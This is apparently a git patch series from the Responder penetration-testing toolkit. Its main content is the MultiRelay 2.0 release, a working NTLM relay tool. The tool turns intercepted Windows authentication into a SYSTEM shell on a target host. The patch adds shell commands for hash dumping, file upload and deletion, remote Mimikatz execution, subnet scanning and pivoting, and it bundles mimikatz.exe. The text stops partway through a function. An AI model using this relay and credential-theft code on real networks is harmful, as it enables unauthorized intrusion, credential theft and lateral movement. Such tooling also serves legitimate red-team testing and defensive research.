From 6f3cc4564c9cf34b75ef5469fd54edd4b3004b54 Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 8 Mar 2017 00:01:38 +0100 Subject: [PATCH 001/219] Fixed bug in FindSMB2UPTime --- packets.py | 35 +++++++++++++++++++++++++++++++++++ tools/FindSMB2UPTime.py | 6 +++--- 2 files changed, 38 insertions(+), 3 deletions(-) diff --git a/packets.py b/packets.py index 9820e26..79794f5 100644 --- a/packets.py +++ b/packets.py @@ -1597,4 +1597,39 @@ class SMB2Session2Data(Packet): ]) +######################FindSMBTime.py########################## +class SMBHeaderReq(Packet): + fields = OrderedDict([ + ("Proto", "\xff\x53\x4d\x42"), + ("Cmd", "\x72"), + ("Error-Code", "\x00\x00\x00\x00" ), + ("Flag1", "\x10"), + ("Flag2", "\x00\x00"), + ("Pidhigh", "\x00\x00"), + ("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("Reserved", "\x00\x00"), + ("TID", "\x00\x00"), + ("PID", "\xff\xfe"), + ("UID", "\x00\x00"), + ("MID", "\x00\x00"), + ]) +class SMB2NegoReq(Packet): + fields = OrderedDict([ + ("Wordcount", "\x00"), + ("Bcc", "\x62\x00"), + ("Data", "") + ]) + + def calculate(self): + self.fields["Bcc"] = struct.pack(" Date: Wed, 15 Mar 2017 19:15:46 -0300 Subject: [PATCH 002/219] Removed Paypal donation link. --- README.md | 3 --- 1 file changed, 3 deletions(-) diff --git a/README.md b/README.md index 09b547b..7d2d860 100644 --- a/README.md +++ b/README.md @@ -168,9 +168,6 @@ You can contribute to this project by donating to the following BTC address: 1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW -Or via Paypal: - -[![donate](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=F7UDPDKM65Q7A) ## Copyright ## From 54389c4851468744789068f6edddfed00f94e44a Mon Sep 17 00:00:00 2001 From: jackassplus Date: Mon, 27 Mar 2017 08:10:33 -0700 Subject: [PATCH 003/219] Create OSX_launcher.sh Launcher helper for OSX. Checks for running LaunchDaemons using one of responder's ports and unloads them one by one, placing them on a stack to be restarted when responder is killed. --- OSX_launcher.sh | 39 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 OSX_launcher.sh diff --git a/OSX_launcher.sh b/OSX_launcher.sh new file mode 100644 index 0000000..d9e9423 --- /dev/null +++ b/OSX_launcher.sh @@ -0,0 +1,39 @@ +# responder launcher +# set -x +# Usage: +# ./responderd /path/to/responder interface responder_options + +# port list +# Everything -> tcp:21 tcp:80 tcp:25 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:443 tcp:445 tcp:110 tcp:389 tcp:1433 tcp:3141 udp:5353 udp:5355 +PORT_LIST=(tcp:21 udp:53 tcp:88 udp:137 udp:138 tcp:139 tcp:143 tcp:445 tcp:389 tcp:1433 udp:5353 udp:5355) +SVC_LIST=() + +# check for running processes and kill them one by one +# looping over everything rather than doing a mass kill because some processes may be +# children and may not need to be killed +for port in ${PORT_LIST[@]}; do + PROC=$(lsof +c 0 -i $port | grep -m 1 -v 'launchd\|COMMAND' | cut -d' ' -f1) + if [ -n "$PROC" ]; then + AGENT=$(sudo launchctl list | grep -m 1 $PROC | cut -f3 | sed 's/.reloaded//g') + + # load/unload are listed as "legacy" in 10.10+ may need to change this someday + echo "Stopping $PROC" + sudo launchctl unload -w /System/Library/LaunchDaemons/$AGENT.plist + + # append killed service to new array + SVC_LIST+=($AGENT) + fi +done + +# get IP address +IP=$(ifconfig $2 | grep 'inet ' | cut -d' ' -f2) + +# Launch responder +python $1 $3 -i $IP + +# restore stopped services +for agent in ${SVC_LIST[@]}; do + echo "Starting $agent" + sudo launchctl load -w /System/Library/LaunchDaemons/$agent.plist + +done From 2a80c7ed9ce3d9bd7789af7a6b93cef58921471b Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 29 Mar 2017 13:28:31 -0300 Subject: [PATCH 004/219] MultiRelay 2.0 Release --- settings.py | 2 +- tools/DHCP.py | 2 +- tools/MultiRelay.py | 353 ++++++--- tools/MultiRelay/RelayMultiCore.py | 997 +++++++++++++++++++++++--- tools/MultiRelay/RelayMultiPackets.py | 141 +++- tools/MultiRelay/bin/Runas.exe | Bin 0 -> 9728 bytes tools/MultiRelay/bin/Syssvc.exe | Bin 0 -> 9728 bytes tools/MultiRelay/bin/mimikatz.exe | Bin 0 -> 748032 bytes tools/MultiRelay/bin/mimikatz_x86.exe | Bin 0 -> 598016 bytes tools/RunFinger.py | 18 +- tools/SMBFinger/Finger.py | 99 ++- 11 files changed, 1407 insertions(+), 205 deletions(-) create mode 100644 tools/MultiRelay/bin/Runas.exe create mode 100644 tools/MultiRelay/bin/Syssvc.exe create mode 100644 tools/MultiRelay/bin/mimikatz.exe create mode 100644 tools/MultiRelay/bin/mimikatz_x86.exe diff --git a/settings.py b/settings.py index fa7c9e8..0fae257 100644 --- a/settings.py +++ b/settings.py @@ -20,7 +20,7 @@ import subprocess from utils import * -__version__ = 'Responder 2.3.3.5' +__version__ = 'Responder 2.3.3.6' class Settings: diff --git a/tools/DHCP.py b/tools/DHCP.py index 20f02b0..0361f93 100755 --- a/tools/DHCP.py +++ b/tools/DHCP.py @@ -74,7 +74,7 @@ config.read(os.path.join(BASEDIR,'Responder.conf')) RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) Interface = options.Interface -Responder_IP = FindLocalIP(Interface) +Responder_IP = FindLocalIP(Interface, None) ROUTERIP = options.RouterIP NETMASK = options.Netmask DHCPSERVER = Responder_IP diff --git a/tools/MultiRelay.py b/tools/MultiRelay.py index e166487..3c838c1 100755 --- a/tools/MultiRelay.py +++ b/tools/MultiRelay.py @@ -20,6 +20,8 @@ import os import logging import optparse import time +import random +import subprocess from threading import Thread from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler try: @@ -28,26 +30,38 @@ except ImportError: print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes." print "You can install it on debian based os with this command: apt-get install python-crypto" print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n" - +try: + import readline +except: + print "Warning: readline module is not available, you will not be able to use the arrow keys for command history" + pass from MultiRelay.RelayMultiPackets import * from MultiRelay.RelayMultiCore import * -from SMBFinger.Finger import RunFinger +from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))) from socket import * -__version__ = "1.2" +__version__ = "2.0" + + +MimikatzFilename = "./MultiRelay/bin/mimikatz.exe" +RunAsFileName = "./MultiRelay/bin/Runas.exe" +SysSVCFileName = "./MultiRelay/bin/Syssvc.exe" + def UserCallBack(op, value, dmy, parser): args=[] for arg in parser.rargs: if arg[0] != "-": args.append(arg) + if arg[0] == "-": + break if getattr(parser.values, op.dest): args.extend(getattr(parser.values, op.dest)) setattr(parser.values, op.dest, args) -parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0]) +parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0]) parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET") parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort") parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay") @@ -67,31 +81,37 @@ if options.UserToRelay is None: if options.ExtraPort is None: options.ExtraPort = 0 -OneCommand = options.OneCommand -Dump = options.Dump -ExtraPort = options.ExtraPort -UserToRelay = options.UserToRelay -Host = options.TARGET, 445 -Cmd = [] -ShellOpen = [] +if not os.geteuid() == 0: + print color("[!] MultiRelay must be run as root.") + sys.exit(-1) + +OneCommand = options.OneCommand +Dump = options.Dump +ExtraPort = options.ExtraPort +UserToRelay = options.UserToRelay + +Host = [options.TARGET] +Cmd = [] +ShellOpen = [] +Pivoting = [2] + def color(txt, code = 1, modifier = 0): return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) def ShowWelcome(): - print color('\nResponder MultiRelay to SMB NTLMv1/2',8,1) - print color('Version: '+__version__,8,1) + print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1) print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com' print 'Usernames to relay (-u) are case sensitive.' print 'To kill this script hit CRTL-C.\n' + print color('/*',8,1) print 'Use this script in combination with Responder.py for best results.' + print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n' print 'This tool listen on TCP port 80, 3128 and 445.' - print 'Make sure nothing use these ports.\n' - print 'For optimal pwnage, launch Responder with only these 2 options:' - print '-rv\nRunning psexec style commands can be noisy in the event viewer,' - print 'if anyone ever reads it.. If you want to leave no trace in the' - print 'event viewer, use Responder\'s built-in commands. They silently' - print 'perform the tasks requested, including the hashdump command.' + print 'For optimal pwnage, launch Responder only with these 2 options:' + print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.' + print 'If you do so, use taskkill (as system) to kill the process.' + print color('*/',8,1) print color('\nRelaying credentials for these users:',8,1) print color(UserToRelay,4,1) print '\n' @@ -105,6 +125,13 @@ def ShowHelp(): print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)' print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)' print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)' + print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)' + print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\' + print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)' + print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to' + print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)' + print color('mimi command',8,1)+' -> Run a remote Mimikatz command (eg: mimi coffee)' + print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)' print color('help',8,1)+' -> Print this message.' print color('exit',8,1)+' -> Exit this shell and return in relay mode.' print ' If you want to quit type exit and then use CRTL-C\n' @@ -112,7 +139,14 @@ def ShowHelp(): Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../" Logs = logging -Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') +Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') + +def UploadContent(File): + with file(File) as f: + s = f.read() + FileLen = len(s) + FileContent = s + return FileLen, FileContent try: RunFinger(Host[0]) @@ -137,21 +171,26 @@ def IsShellOpen(): else: return True +#Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting. +def IsPivotOn(): + #While there's nothing in our array return false. + if Pivoting[0] == "2": + return False + #If there is return True. + if Pivoting[0] == "1": + return True + def ConnectToTarget(): try: s = socket(AF_INET, SOCK_STREAM) - #Override TCP keep-alives - s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1) - s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15) - s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5) - # macOS does not have TCP_KEEPIDLE - if sys.platform != 'darwin': - s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5) - s.connect(Host) + s.connect((Host[0],445)) return s except: - "Cannot connect to target, host down?" - sys.exit(1) + try: + sys.exit(1) + print "Cannot connect to target, host down?" + except: + pass class HTTPProxyRelay(BaseRequestHandler): @@ -161,6 +200,8 @@ class HTTPProxyRelay(BaseRequestHandler): #Don't handle requests while a shell is open. That's the goal after all. if IsShellOpen(): return None + if IsPivotOn(): + return None except: raise @@ -202,7 +243,7 @@ class HTTPProxyRelay(BaseRequestHandler): ## Send HTTP Proxy Buffer_Ans = WPAD_NTLM_Challenge_Ans() Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb - key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing). + key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing). self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. data = self.request.recv(8092) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) @@ -219,21 +260,22 @@ class HTTPProxyRelay(BaseRequestHandler): else: #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #and has not attempted before. While at it, let's grab his hash. - Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host) + Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) if Username is not None: head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t.calculate() packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 + buffer1 = longueur(packet1)+packet1 print "[+] SMB Session Auth sent." s.send(buffer1) smbdata = s.recv(2048) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) if RunCmd is None: - s.close() - return None + s.close() + self.request.close() + return None else: ##Any other type of request, send a 407. @@ -254,6 +296,8 @@ class HTTPRelay(BaseRequestHandler): #Don't handle requests while a shell is open. That's the goal after all. if IsShellOpen(): return None + if IsPivotOn(): + return None except: raise @@ -296,7 +340,7 @@ class HTTPRelay(BaseRequestHandler): ## Send HTTP Response. Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb - key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing). + key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing). self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client. data = self.request.recv(8092) NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) @@ -313,7 +357,7 @@ class HTTPRelay(BaseRequestHandler): else: #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #and has not attempted before. While at it, let's grab his hash. - Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host) + Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting) if Username is not None: head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") @@ -326,8 +370,9 @@ class HTTPRelay(BaseRequestHandler): smbdata = s.recv(2048) RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) if RunCmd is None: - s.close() - return None + s.close() + self.request.close() + return None else: ##Any other type of request, send a 407. @@ -352,7 +397,6 @@ class SMBRelay(BaseRequestHandler): raise s = ConnectToTarget() - try: data = self.request.recv(4096) @@ -368,7 +412,7 @@ class SMBRelay(BaseRequestHandler): ## Make sure it's not a Kerberos auth. if data.find("NTLM") is not -1: ## Start with nego protocol + session setup negotiate to our target. - data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s) + data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting) ## Make sure it's not a Kerberos auth. if data.find("NTLM") is not -1: @@ -394,21 +438,23 @@ class SMBRelay(BaseRequestHandler): packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) - #data = self.request.recv(4096) ##Make him feel bad, ditch the connection. s.close() return None else: #Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login #and has not attempted before. While at it, let's grab his hash. - Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host) + Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting) if Username is not None: ##Got the ntlm message 3, send it over to SMB. head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00") t = data[36:]#Final relay. packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - print "[+] SMB Session Auth sent." + buffer1 = longueur(packet1)+packet1 + if Pivoting[0] == "1": + pass + else: + print "[+] SMB Session Auth sent." s.send(buffer1) smbdata = s.recv(4096) #We're all set, dropping into shell. @@ -428,32 +474,44 @@ class SMBRelay(BaseRequestHandler): buffer1 = longueur(packet1)+packet1 self.request.send(buffer1) data = self.request.recv(4096) - s.close() + self.request.close() return None except Exception: - s.close() self.request.close() ##No need to print anything (timeouts, rst, etc) to the user console.. pass #Interface starts here. -def RunShellCmd(data, s, clientIP, Host, Username, Domain): +def RunShellCmd(data, s, clientIP, Target, Username, Domain): + + #Let's declare our globals here.. + #Pivoting gets used when the pivot cmd is used, it let us figure out in which mode is MultiRelay. Initial Relay or Pivot mode. + global Pivoting + #Update Host, when pivoting is used. + global Host + #Make sure we don't open 2 shell at the same time.. + global ShellOpen + ShellOpen = ["Shell is open"] + # On this block we do some verifications before dropping the user into the shell. if data[8:10] == "\x73\x6d": print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target." print "[+] Hashes were saved anyways in Responder/logs/ folder.\n" - Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") + Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") + del ShellOpen[:] return False if data[8:10] == "\x73\x8d": print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n" - Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") + Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") + del ShellOpen[:] return False if data[8:10] == "\x73\x5e": print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n" + del ShellOpen[:] return False ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: @@ -461,7 +519,7 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain): if data[8:10] == "\x73\x00": GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session. head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$") + t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 @@ -470,20 +528,28 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain): ## Nope he doesn't. if data[8:10] == "\x75\x22": - print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n" - Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure") + if Pivoting[0] == "1": + pass + else: + print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n" + Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") + del ShellOpen[:] return False # This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. if data[8:10] == "\x75\xcc": print "[+] Tree Connect AndX denied. Bad Network Name returned." + del ShellOpen[:] return False ## Tree Connect on C$ is successfull. if data[8:10] == "\x75\x00": - print "[+] Looks good, "+Username+" has admin rights on C$." + if Pivoting[0] == "1": + pass + else: + print "[+] Looks good, "+Username+" has admin rights on C$." head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$") + t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 @@ -495,19 +561,20 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain): print "[+] Authenticated." if OneCommand != None: print "[+] Running command: %s"%(OneCommand) - RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Host) + RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0]) if Dump: print "[+] Dumping hashes" - DumpHashes(data, s, Host) + DumpHashes(data, s, Target[0]) os._exit(1) ## Drop into the shell. if data[8:10] == "\x75\x00" and OneCommand == None: - print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" - ShowHelp() - #Make sure we don't open 2 shell at the same time.. - global ShellOpen - ShellOpen = ["Shell is open"] + if Pivoting[0] == "1": + pass + else: + print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" + ShowHelp() + print color('Connected to %s as LocalSystem.'%(Target[0]),2,1) while True: @@ -515,50 +582,153 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain): if data[8:10] == "\x75\x00": #start a thread for raw_input, so we can do other stuff while we wait for a command. t = Thread(target=get_command, args=()) + t.daemon = True t.start() - t.join() - #For now, this is not functionning as expected. The SMB echos are killing the connection - #way faster than if we let the connection time_wait (after 2 tree connect [1 IPC & 1 C$]) itself. - #So let's use the tree connects wait (average time before timeout:5-12h) - """ + + #Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation + #to maintain MultiRelay alive and well. + count = 0 + DoEvery = random.randint(10, 45) while any(x in Cmd for x in Cmd) is False: + count = count+1 SMBKeepAlive(s, data) - time.sleep(20) - pass - """ + if count == DoEvery: + DumbSMBChain(data, s, Target[0]) + count = 0 + if any(x in Cmd for x in Cmd) is True: + break ##Grab the commands. Cmd is global in get_command(). - Read = re.findall(r'(?<=read )[^\r]*', Cmd[0]) - RegDump = re.findall(r'(?<=regdump )[^\r]*', Cmd[0]) - Get = re.findall(r'(?<=get )[^\r]*', Cmd[0]) - Help = re.findall(r'(?<=help)[^\r]*', Cmd[0]) + DumpReg = re.findall('^dump', Cmd[0]) + Read = re.findall('^read (.*)$', Cmd[0]) + RegDump = re.findall('^regdump (.*)$', Cmd[0]) + Get = re.findall('^get (.*)$', Cmd[0]) + Upload = re.findall('^upload (.*)$', Cmd[0]) + Delete = re.findall('^delete (.*)$', Cmd[0]) + RunAs = re.findall('^runas (.*)$', Cmd[0]) + LCmd = re.findall('^lcmd (.*)$', Cmd[0]) + Mimi = re.findall('^mimi (.*)$', Cmd[0]) + Scan = re.findall('^scan (.*)$', Cmd[0]) + Pivot = re.findall('^pivot (.*)$', Cmd[0]) + Help = re.findall('^help', Cmd[0]) if Cmd[0] == "exit": - print "[+]Returning in relay mode." + print "[+] Returning in relay mode." del Cmd[:] del ShellOpen[:] return None - ##For all of the following commands we send the data (var:data) returned by the + ##For all of the following commands we send the data (var: data) returned by the ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. ##We also clean up the command array when done. - if Cmd[0] == "dump": - data = DumpHashes(data, s, Host) + if DumpReg: + data = DumpHashes(data, s, Target[0]) del Cmd[:] if Read: File = Read[0] - data = ReadFile(data, s, File, Host) + data = ReadFile(data, s, File, Target[0]) del Cmd[:] if Get: File = Get[0] - data = GetAfFile(data, s, File, Host) + data = GetAfFile(data, s, File, Target[0]) + del Cmd[:] + + if Upload: + File = Upload[0] + if os.path.isfile(File): + FileSize, FileContent = UploadContent(File) + File = os.path.basename(File) + data = WriteFile(data, s, File, FileSize, FileContent, Target[0]) + del Cmd[:] + else: + print File+" does not exist, please specify a valid file." + del Cmd[:] + + if Delete: + Filename = Delete[0] + data = DeleteFile(data, s, Filename, Target[0]) del Cmd[:] if RegDump: Key = RegDump[0] - data = SaveAKey(data, s, Host, Key) + data = SaveAKey(data, s, Target[0], Key) + del Cmd[:] + + if RunAs: + if os.path.isfile(RunAsFileName): + FileSize, FileContent = UploadContent(RunAsFileName) + FileName = os.path.basename(RunAsFileName) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + Exec = RunAs[0] + data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName) + del Cmd[:] + else: + print RunAsFileName+" does not exist, please specify a valid file." + del Cmd[:] + + if LCmd: + subprocess.call(LCmd[0], shell=True) + del Cmd[:] + + if Mimi: + if os.path.isfile(MimikatzFilename): + FileSize, FileContent = UploadContent(MimikatzFilename) + FileName = os.path.basename(MimikatzFilename) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + Exec = Mimi[0] + data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName) + del Cmd[:] + else: + print MimikatzFilename+" does not exist, please specify a valid file." + del Cmd[:] + + if Pivot: + if Pivot[0] == Target[0]: + print "[Pivot Verification Failed]: You're already on this host. No need to pivot." + del Pivot[:] + del Cmd[:] + else: + if ShowSigning(Pivot[0]): + del Pivot[:] + del Cmd[:] + else: + if os.path.isfile(RunAsFileName): + FileSize, FileContent = UploadContent(RunAsFileName) + FileName = os.path.basename(RunAsFileName) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + RunAsPath = '%windir%\\Temp\\'+FileName + Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName) + + if Status == True: + print "[+] Pivoting to %s."%(Pivot[0]) + if os.path.isfile(RunAsFileName): + FileSize, FileContent = UploadContent(RunAsFileName) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + #shell will close. + del ShellOpen[:] + #update the new host. + Host = [Pivot[0]] + #we're in pivoting mode. + Pivoting = ["1"] + data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName) + del Cmd[:] + s.close() + return None + + if Status == False: + print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host." + del Cmd[:] + del Pivot[:] + else: + print RunAsFileName+" does not exist, please specify a valid file." + del Cmd[:] + + if Scan: + LocalIp = FindLocalIp() + Range = ConvertToClassC(Target[0], Scan[0]) + RunPivotScan(Range, Target[0]) del Cmd[:] if Help: @@ -568,15 +738,23 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain): ##Let go with the command. if any(x in Cmd for x in Cmd): if len(Cmd[0]) > 1: - data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Host) - del Cmd[:] + if os.path.isfile(SysSVCFileName): + FileSize, FileContent = UploadContent(SysSVCFileName) + FileName = os.path.basename(SysSVCFileName) + RunPath = '%windir%\\Temp\\'+FileName + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName) + del Cmd[:] + else: + print SysSVCFileName+" does not exist, please specify a valid file." + del Cmd[:] if data is None: - print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure the server (\\Windows\\Temp\\) is clean\033[0m\n" + print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n" if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop. head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")# + t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")# t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 @@ -613,6 +791,11 @@ def main(): time.sleep(1) except (KeyboardInterrupt, SystemExit): + ##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default. + ##This is a bug in python readline when dealing with raw_input().. + if ShellOpen: + os.system('stty sane') + ##Then exit sys.exit("\rExiting...") if __name__ == '__main__': diff --git a/tools/MultiRelay/RelayMultiCore.py b/tools/MultiRelay/RelayMultiCore.py index 20ccfdb..f4332b8 100644 --- a/tools/MultiRelay/RelayMultiCore.py +++ b/tools/MultiRelay/RelayMultiCore.py @@ -21,12 +21,14 @@ import time import os import re import datetime +import threading from RelayMultiPackets import * from odict import OrderedDict from base64 import b64decode, b64encode sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), 'creddump'))) from framework.win32.hashdump import dump_file_hashes from SMBFinger.Finger import ShowSmallResults +from socket import * SaveSam_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/relay-dumps/" Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../" @@ -34,10 +36,8 @@ Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../" READTIMEOUT = 1 READ = "\xc0\x00" RW = "\xc2\x00" - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length +MimiKatzSVCName = "" +MimiKatzSVCID = "" class Packet(): fields = OrderedDict([ @@ -98,7 +98,7 @@ def IsSMBAnonymous(data): else: return False -def ParseHTTPHash(data, key, client,UserToRelay,Host): +def 